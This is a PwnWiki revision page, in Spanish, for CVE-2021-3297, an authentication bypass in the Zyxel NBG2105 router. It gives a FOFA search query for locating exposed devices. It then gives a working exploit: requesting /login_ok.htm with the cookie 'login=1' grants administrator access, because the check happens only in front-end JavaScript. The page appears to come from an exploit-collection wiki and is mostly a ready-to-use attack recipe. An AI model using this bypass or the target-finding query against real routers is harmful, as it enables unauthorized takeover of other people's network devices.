Difference between revisions of "CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞/es"
From PwnWiki
(Created page with "== Impacto de la vulnerabilidad ==") |
|||
| Line 17: | Line 17: | ||
El archivo de front-end <code>/js/util_gw.js </code> tiene la verificación de front-end del parámetro <code>Cookie login</code>. | El archivo de front-end <code>/js/util_gw.js </code> tiene la verificación de front-end del parámetro <code>Cookie login</code>. | ||
| − | Si solicita lo siguiente, será redirigido a la página <code> home.htm </code> como administrador. | + | Si solicita lo siguiente, será redirigido a la página <code> home.htm</code> como administrador. |
<pre> | <pre> | ||
Latest revision as of 16:04, 6 April 2021
Impacto de la vulnerabilidad
Zyxel NBG2105
FOFA
app="ZyXEL-NBG2105"
El archivo de front-end /js/util_gw.js tiene la verificación de front-end del parámetro Cookie login.
Si solicita lo siguiente, será redirigido a la página home.htm como administrador.
http://xxx.xxx.xxx.xxx/login_ok.htm Cookie: login=1;
